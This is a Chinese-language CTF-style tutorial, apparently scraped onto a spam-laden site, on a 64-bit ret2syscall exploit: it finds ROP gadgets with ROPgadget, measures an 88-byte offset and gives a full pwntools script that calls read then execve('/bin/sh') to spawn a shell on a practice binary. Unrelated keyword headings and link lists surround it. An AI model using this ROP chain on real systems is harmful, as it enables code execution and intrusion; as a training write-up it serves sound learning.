当前位置: 首页 > wzjs >正文

前端设计除了做网站还能做什么海淀网站建设公司电话

前端设计除了做网站还能做什么,海淀网站建设公司电话,网站建设福州公司,建设网站规模与类别前置 ret2syscall 的基础我们就不做过多讲解了 利用思路与 32 位类似,只是传参的寄存器是: rdi -> rsi -> rdx -> rcx -> r8 -> r9 我们这里只用到前三个就可以了,以及 rax 还有一个区别就是: 32 位系统调用最…

前置 ret2syscall 的基础我们就不做过多讲解了

利用思路与 32 位类似,只是传参的寄存器是:

rdi -> rsi -> rdx -> rcx -> r8 -> r9

我们这里只用到前三个就可以了,以及 rax

还有一个区别就是:

32 位系统调用最后是执行 int x080

而 64 位系统调用最后是执行 syscall

检查一下,64 位程序,开启 NX 保护:

ida 看一下 main 函数,存在明显的栈溢出

先找 pop rax;ret

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rax"

记录地址:

pop_rax = 0x46b9f8

接着我们找另外三个寄存器:

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rdi" | grep "rsi" | grep "rdx"

没找到连续的,那么我们就分开来:

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rsi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdx ; ret"

看到有两个连一起的,当然我们也可以一个一个地传参

把地址都记录下:

pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
pop_rdx_rsi = 0x4377f9

找 syscall

ROPgadget --binary ret2sys_64 | grep syscall

这里看到的这个不对,因为后面没有 ret

正确的应该是 0x45BAC5

syscall = 0x45bac5

我们看一下 64 位的系统调用号:

read 系统调用号是 0

execve 系统调用号是 59,也就是 0x3b

我们先测一下偏移:

cyclic -l 0x616161616161616c

拿到偏移: 

offset = 88

 找一下可以写入的 bss 段地址:

bss_addr = 0x6c2000

至此,我们就可以写 exp 了:

# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./ret2sys_64")pop_rax = 0x46b9f8
pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
offset = 88
bss_addr = 0x6c2000
syscall = 0x45bac5
ret_addr = 0x400739payload = cyclic(offset)+p64(pop_rax)+p64(0x0)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi)+p64(bss_addr)
payload += p64(pop_rdx)+p64(0x20)
payload += p64(syscall)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(bss_addr)
payload += p64(pop_rsi)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()

没有问题,可以打通 

也可以将 pop_rdx_rsi = 0x4377f9 用上

后面传两个参数就可以了,分开写,一起写都可以的,这里就不做过多演示了

http://www.dtcms.com/wzjs/836686.html

相关文章:

  • 谁做的四虎网站是多少敬请期待换个说法
  • 学生网站作品多开商城
  • 选择邯郸网站制作邯郸专业做网站哪里有
  • 阿里OSS做网站图库费用龙岗住房和建设局网站官网
  • 集团公司网站源码下载wordpress的简单应用
  • 服务器搭建网站视频教程termux wordpress
  • 网站功能结构图 怎么做wordpress二次元主页
  • 许昌网站制作公司手机版网站开发的功能点
  • 色彩搭配的网站成都企业品牌网站建设
  • 上海网站建设sheji021江苏南京建设工程信息网站
  • 论坛类网站搭建北京网站建设优化学校
  • 济宁市城市建设局网站2345网址导航站
  • 太平建设公司官方网站毕节市建设网站
  • 网站服务器打不开威海屋顶防水价格威海做防水网站
  • 嘉峪关市建设局建管科资质网站网站的软文 怎么做推广
  • 网站首页被k 不恢复ftp上传wordpress
  • 模板堂网站源码政务网站建设存在问题
  • 外贸网站推广怎样做做网站SEO用什么电脑方便
  • 广东贸易网站建设哪家dw网页制作教程主页子页
  • 母婴网站建设龙岗企业网站制作公司
  • 百度 门户网站买房子上哪个网站最好
  • 个人备案网站可以做电影站吗wordpress前端用户中心带商城功能
  • 健身顾问在哪些网站做推广wordpress用户邀请注册
  • wap开头的网站门户网站建设管理总则
  • 网站建设的3个阶段郑州手机网站制作公司
  • onedrive做网站下载盘怎样在门户网站做 推广
  • 百度推广对网站的好处wordpress结婚模板
  • 做电脑网站步骤做网站送白酒
  • 对网站开发的理解做电商哪个平台比较好
  • 免费网站排名优化在线公司电商网站建设